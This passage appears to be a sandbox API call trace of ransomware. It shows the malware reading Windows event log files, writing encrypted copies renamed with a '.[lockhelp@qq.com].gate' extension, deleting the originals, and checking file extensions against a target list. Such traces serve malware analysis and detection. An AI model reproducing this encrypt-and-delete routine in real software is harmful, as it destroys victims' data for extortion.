(lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 0x20 [0125.872] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0125.872] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0125.872] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0125.872] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0125.872] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0125.872] GetLastError () returned 0x0 [0125.872] ReadFile (in: hFile=0x35c, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x11000, lpOverlapped=0x0) returned 1 [0125.929] WriteFile (in: hFile=0x2c0, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0x11010, lpOverlapped=0x0) returned 1 [0125.931] ReadFile (in: hFile=0x35c, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0125.931] WriteFile (in: hFile=0x2c0, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0x144, lpOverlapped=0x0) returned 1 [0125.931] SetEndOfFile (hFile=0x2c0) returned 1 [0125.932] CloseHandle (hObject=0x2c0) returned 1 [0125.941] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0125.941] SetEndOfFile (hFile=0x35c) returned 1 [0125.942] CloseHandle (hObject=0x35c) returned 1 [0125.943] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0125.943] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 1 [0125.943] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0125.943] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0125.943] lstrlenW (lpString=".doc") returned 4 [0125.943] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0125.943] lstrlenW (lpString=".docx") returned 5 [0125.943] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0125.943] lstrlenW (lpString=".pdf") returned 4 [0125.943] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0125.943] lstrlenW (lpString=".xls") returned 4 [0125.944] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0125.944] lstrlenW (lpString=".xlsx") returned 5 [0125.944] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0125.944] lstrlenW (lpString=".ppt") returned 4 [0125.944] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0125.944] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0125.944] lstrlenW (lpString=".zip") returned 4 [0125.944] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0125.944] lstrlenW (lpString=".rar") returned 4 [0125.944] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0125.944] lstrlenW (lpString=".bz2") returned 4 [0125.944] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0125.944] lstrlenW (lpString=".7z") returned 3 [0125.944] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0125.944] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0125.944] lstrlenW (lpString=".dbf") returned 4 [0125.944] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0125.944] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0125.944] lstrlenW (lpString=".1cd") returned 4 [0125.944] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0125.944] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0125.944] lstrlenW (lpString=".jpg") returned 4 [0125.944] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0125.944] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0125.944] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0125.945] lstrlenW (lpString=".doc") returned 4 [0125.945] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0125.945] lstrlenW (lpString=".docx") returned 5 [0125.945] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0125.945] lstrlenW (lpString=".pdf") returned 4 [0125.945] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0125.945] lstrlenW (lpString=".xls") returned 4 [0125.945] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0125.945] lstrlenW (lpString=".xlsx") returned 5 [0125.945] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0125.945] lstrlenW (lpString=".ppt") returned 4 [0125.945] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0125.945] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0125.945] lstrlenW (lpString=".zip") returned 4 [0125.945] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0125.945] lstrlenW (lpString=".rar") returned 4 [0125.945] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0125.945] lstrlenW (lpString=".bz2") returned 4 [0125.945] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0125.945] lstrlenW (lpString=".7z") returned 3 [0125.945] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0125.945] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0125.945] lstrlenW (lpString=".dbf") returned 4 [0125.945] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0126.165] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0126.166] lstrlenW (lpString=".1cd") returned 4 [0126.166] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0126.166] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0126.166] lstrlenW (lpString=".jpg") returned 4 [0126.166] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0126.166] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0126.166] lstrlenW (lpString="Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 46 [0126.166] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0126.166] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=69632) returned 1 [0126.166] CloseHandle (hObject=0x2c0) returned 1 [0126.170] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 0x20 [0126.171] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0126.171] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0126.171] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0126.171] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0126.171] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0126.209] GetLastError () returned 0x0 [0126.209] ReadFile (in: hFile=0x2c0, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x11000, lpOverlapped=0x0) returned 1 [0126.328] WriteFile (in: hFile=0x354, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0x11010, lpOverlapped=0x0) returned 1 [0126.330] ReadFile (in: hFile=0x2c0, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0126.330] WriteFile (in: hFile=0x354, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0x130, lpOverlapped=0x0) returned 1 [0126.330] SetEndOfFile (hFile=0x354) returned 1 [0126.330] CloseHandle (hObject=0x354) returned 1 [0126.336] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0126.336] SetEndOfFile (hFile=0x2c0) returned 1 [0126.338] CloseHandle (hObject=0x2c0) returned 1 [0126.338] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0126.338] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 1 [0126.338] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0126.338] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0126.338] lstrlenW (lpString=".doc") returned 4 [0126.338] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0126.338] lstrlenW (lpString=".docx") returned 5 [0126.339] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0126.339] lstrlenW (lpString=".pdf") returned 4 [0126.339] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0126.339] lstrlenW (lpString=".xls") returned 4 [0126.339] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0126.339] lstrlenW (lpString=".xlsx") returned 5 [0126.339] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0126.339] lstrlenW (lpString=".ppt") returned 4 [0126.339] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0126.339] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0126.339] lstrlenW (lpString=".zip") returned 4 [0126.339] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0126.339] lstrlenW (lpString=".rar") returned 4 [0126.339] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0126.339] lstrlenW (lpString=".bz2") returned 4 [0126.339] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0126.339] lstrlenW (lpString=".7z") returned 3 [0126.339] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0126.339] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0126.339] lstrlenW (lpString=".dbf") returned 4 [0126.339] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0126.339] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0126.339] lstrlenW (lpString=".1cd") returned 4 [0126.339] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0126.339] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0126.339] lstrlenW (lpString=".jpg") returned 4 [0126.339] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0126.340] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0126.340] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0126.340] lstrlenW (lpString=".doc") returned 4 [0126.340] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0126.340] lstrlenW (lpString=".docx") returned 5 [0126.340] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0126.340] lstrlenW (lpString=".pdf") returned 4 [0126.340] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0126.340] lstrlenW (lpString=".xls") returned 4 [0126.340] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0126.340] lstrlenW (lpString=".xlsx") returned 5 [0126.340] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0126.340] lstrlenW (lpString=".ppt") returned 4 [0126.340] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0126.340] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0126.340] lstrlenW (lpString=".zip") returned 4 [0126.340] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0126.340] lstrlenW (lpString=".rar") returned 4 [0126.340] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0126.340] lstrlenW (lpString=".bz2") returned 4 [0126.340] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0126.340] lstrlenW (lpString=".7z") returned 3 [0126.340] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0126.340] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0126.340] lstrlenW (lpString=".dbf") returned 4 [0126.340] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0126.340] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0126.340] lstrlenW (lpString=".1cd") returned 4 [0126.341] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0126.341] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0126.341] lstrlenW (lpString=".jpg") returned 4 [0126.341] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0126.341] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0126.341] lstrlenW (lpString="Microsoft-Windows-AppReadiness%4Operational.evtx") returned 48 [0126.341] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0126.361] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=1118208) returned 1 [0126.361] CloseHandle (hObject=0x390) returned 1 [0126.361] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 0x20 [0126.361] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0126.361] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0126.361] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0126.361] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0126.361] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0126.362] GetLastError () returned 0x0 [0126.362] ReadFile (in: hFile=0x390, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0126.823] WriteFile (in: hFile=0x394, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0126.947] ReadFile (in: hFile=0x390, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x11010, lpOverlapped=0x0) returned 1 [0129.174] WriteFile (in: hFile=0x394, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0x11020, lpOverlapped=0x0) returned 1 [0129.179] ReadFile (in: hFile=0x390, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0129.179] WriteFile (in: hFile=0x394, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0x134, lpOverlapped=0x0) returned 1 [0129.179] SetEndOfFile (hFile=0x394) returned 1 [0129.179] CloseHandle (hObject=0x394) returned 1 [0129.208] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.208] SetEndOfFile (hFile=0x390) returned 1 [0129.211] CloseHandle (hObject=0x390) returned 1 [0129.211] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0129.343] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 1 [0129.344] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0129.344] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0129.344] lstrlenW (lpString=".doc") returned 4 [0129.344] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0129.344] lstrlenW (lpString=".docx") returned 5 [0129.344] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0129.344] lstrlenW (lpString=".pdf") returned 4 [0129.344] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0129.344] lstrlenW (lpString=".xls") returned 4 [0129.344] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0129.344] lstrlenW (lpString=".xlsx") returned 5 [0129.344] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0129.344] lstrlenW (lpString=".ppt") returned 4 [0129.344] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0129.344] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0129.344] lstrlenW (lpString=".zip") returned 4 [0129.344] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0129.344] lstrlenW (lpString=".rar") returned 4 [0129.344] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0129.344] lstrlenW (lpString=".bz2") returned 4 [0129.344] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0129.344] lstrlenW (lpString=".7z") returned 3 [0129.344] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0129.344] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0129.344] lstrlenW (lpString=".dbf") returned 4 [0129.344] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0129.345] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0129.345] lstrlenW (lpString=".1cd") returned 4 [0129.345] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0129.345] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0129.345] lstrlenW (lpString=".jpg") returned 4 [0129.345] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0129.345] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0129.345] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0129.345] lstrlenW (lpString=".doc") returned 4 [0129.345] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0129.345] lstrlenW (lpString=".docx") returned 5 [0129.345] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0129.345] lstrlenW (lpString=".pdf") returned 4 [0129.345] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0129.345] lstrlenW (lpString=".xls") returned 4 [0129.345] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0129.345] lstrlenW (lpString=".xlsx") returned 5 [0129.345] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0129.345] lstrlenW (lpString=".ppt") returned 4 [0129.345] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0129.345] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0129.345] lstrlenW (lpString=".zip") returned 4 [0129.345] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0129.345] lstrlenW (lpString=".rar") returned 4 [0129.345] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0129.345] lstrlenW (lpString=".bz2") returned 4 [0129.345] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0129.345] lstrlenW (lpString=".7z") returned 3 [0129.345] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0129.346] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0129.346] lstrlenW (lpString=".dbf") returned 4 [0129.346] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0129.346] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0129.346] lstrlenW (lpString=".1cd") returned 4 [0129.346] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0129.346] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0129.346] lstrlenW (lpString=".jpg") returned 4 [0129.346] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0129.346] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0129.346] lstrlenW (lpString="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 64 [0129.346] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0129.373] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=69632) returned 1 [0129.373] CloseHandle (hObject=0x390) returned 1 [0129.373] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 0x20 [0129.373] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0129.373] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0129.373] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.373] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.373] CreateFileW 